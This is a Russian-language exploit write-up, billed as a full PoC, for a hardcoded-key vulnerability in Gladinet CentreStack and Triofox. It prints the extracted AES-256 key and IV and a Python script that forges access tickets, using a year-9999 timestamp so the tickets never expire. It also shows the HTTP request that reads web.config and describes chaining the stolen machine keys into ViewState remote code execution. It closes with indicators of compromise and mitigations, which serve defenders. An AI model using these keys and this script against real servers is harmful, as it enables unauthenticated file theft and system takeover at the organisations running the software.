
CVE-2025-14611 CentreStack и Triofox полный Poc/Exploit
Эта уязвимость вызвана встроенными криптографическими ключами в продуктах Gladinet CentreStack и Triofox, что позволяет произвольное чтение файлов через поддельные билеты доступа. Реализация шифрования AES-256 использует статические, неизменяемые ключи, встроенные непосредственно в бинарный файл приложения (GladCtrl64.dll), что позволяет любому атакующему, извлёкшему эти ключи:
Уязвимость затрагивает все версии Gladinet CentreStack и Triofox до 16.12.10420.56791 и активно эксплуатируется в дикой природе как минимум с ноября 2025 года.
Уязвимость начинается с того, как криптографические ключи генерируются и хранятся в GladCtrl64.dll. Функции GenerateSecKey и GenerateSecKey1 отвечают за предоставление ключа шифрования AES и вектора инициализации (IV).
Поток генерации ключей:
Когда серверное приложение CentreStack запускается, класс SysKeyMgr вызывает AccessKeyMgr64.GetSysEncKey, который обращается к GenerateSecKey, расположенной в GladCtrl64.dll. Эта функция:
PSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
Функция преобразует строки в кодировке UTF-16LE в UTF-8 с помощью Windows API WideCharToMultiByte с кодовой страницей 0xfde9 (UTF-8). Исходные данные хранятся в двух статических областях памяти:
Критическая находка: Эти строки никогда не меняются ни в одной установке программного обеспечения. Название функции GenerateSecKey вводит в заблуждение — она не генерирует ключи динамически, а просто возвращает уже существующие статические строки из бинарного файла.
В результате reverse engineering анализа встроенные ключи были извлечены из секции .data файла GladCtrl64.dll:
Память по адресу 0x18000c000 (источник ключа):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
При декодировании из UTF-16LE в UTF-8 получается китайский текст:
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
Память по адресу 0x18000c2c0 (источник IV):
6d 6f 44 72 69 76 65 00 // "moDriv" в ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
При декодировании получается:
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
Итоговые криптографические ключи:
Приложение использует первые 32 байта источника ключа в кодировке UTF-8 в качестве ключа AES-256 и первые 16 байт источника IV в кодировке UTF-8 в качестве вектора инициализации:
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
Уязвимость эксплуатируется через HTTP-обработчик filesvr.dn, который сопоставлен с классом GladinetStorage.FileDownloadHandler. Этот обработчик обрабатывает зашифрованные билеты доступа, передаваемые через параметр запроса t.
Структура билета доступа:
Билеты доступа представляют собой поля, разделённые переводами строк и зашифрованные с помощью AES-256-CBC:
Строка 0: Filepath (абсолютный путь на сервере)
Строка 1: Username (учётная запись Windows для олицетворения)
Строка 2: Password (учётные данные для этой записи)
Строка 3: Timestamp (время создания билета)
Процесс расшифровки:
t и выполняет собственную санитизацию, заменяя URL-безопасные символы (: → +, | → /)AccessTicket.Decrypt, которая получает статические SysKey (первые 32 байта) и SysKey1 (первые 16 байт)Обход проверки временной метки:
Обработчик сравнивает временную метку билета с текущим временем сервера. Если билет старше 4 часов, он отклоняется. Однако атакующие могут установить временную метку на 9999 год, создав билет, который никогда не истекает:
9999-11-27 14:52:04.009217
Это создаёт постоянный бэкдор, который можно использовать бесконечно.
После расшифровки обработчик извлекает поля Username и Password и пытается инициализировать контекст олицетворения. Критическая уязвимость: когда оба поля являются пустыми строками, логика олицетворения даёт сбой и переключается на учётную запись пула приложений IIS.
Это позволяет неаутентифицированное чтение произвольных файлов, поскольку приложение работает с повышенными привилегиями, но не требует действительных учётных данных.
Пример вредоносного билета:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
Активная эксплуатация наблюдается с ноября 2025 года. Атакующие следуют следующей схеме:
Шаг 1: Создание поддельного билета доступа
Используя извлечённые ключи, атакующие создают зашифрованные билеты, нацеленные на web.config:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
Шаг 2: Отправка вредоносного запроса
Поддельный билет отправляется на уязвимую конечную точку:
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
Шаг 3: Извлечение машинных ключей
Ответ содержит файл web.config с машинными ключами:
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
Шаг 4: Связка с CVE-2025-30406
Эти машинные ключи позволяют проводить атаки на десериализацию ViewState, что приводит к удалённому выполнению кода. Атакующие создают вредоносные ViewState-нагрузки, подписанные извлечёнными ключами, и получают полный контроль над системой.
Из наблюдаемых попыток эксплуатации (декабрь 2025 года):
Зашифрованный билет атакующего:
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
Расшифрованное содержимое:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
Источник атаки: IP-адрес 147.124.216[.]205
Целевые организации: 9 подтверждённых жертв в секторах здравоохранения, технологий и профессиональных услуг
Хронология атак: первые попытки эксплуатации в ноябре 2025 года, с эскалацией в декабре 2025 года
CVE-2025-14611 представляет собой критический отказ в управлении криптографическими ключами. Встраивая статические, неизменяемые ключи непосредственно в бинарный файл приложения, Gladinet создал универсальный мастер-ключ, работающий во всех установках. Эта уязвимость демонстрирует несколько серьёзных нарушений безопасности:
Рекомендации по смягчению:
web.config после установки обновления/storage/filesvr.dn с подозрительными параметрами tvghpI7EToZUDIZDdprSubL3mTZ2 (зашифрованное представление пути к web.config)Индикатор компрометации:
Любой HTTP-запрос, содержащий:
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
Эта подстрока однозначно идентифицирует попытки эксплуатации данной уязвимости для извлечения web.config.